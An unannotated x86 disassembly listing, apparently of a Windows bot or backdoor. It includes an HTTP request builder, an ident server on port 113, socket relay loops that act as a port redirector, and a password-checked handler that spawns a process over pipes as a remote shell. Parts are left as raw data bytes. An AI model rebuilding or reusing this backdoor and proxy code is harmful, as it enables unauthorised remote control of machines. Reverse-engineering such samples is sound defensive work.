		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26F08BFh
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 900228FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 25E8326Ah,	9002280Ah
		dd 0E890EDEBh, 22903E2h, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26F08BFh
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26F08BFh
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2E0102E8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26F08BFh


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F08BFh


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26F08BFh
		nop


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F08BFh


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F08BFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 18E89057h, 57022DFEh, 410CCC68h, 0EFE800h, 85900237h
		dd 0E82975C0h, 228FE2Eh, 0D8685090h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E0E85759h
		dd 90022DFDh, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E5E85056h, 900228F3h, 69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E5E8326Ah, 90022802h, 0E890EDEBh, 228FCA2h
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 0F4E89056h, 5B022DFBh, 4439C033h,	940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26B092Eh


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 2780E8Fh
		nop
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		nop
		call	near ptr 26B092Eh
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710C85h
		nop


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
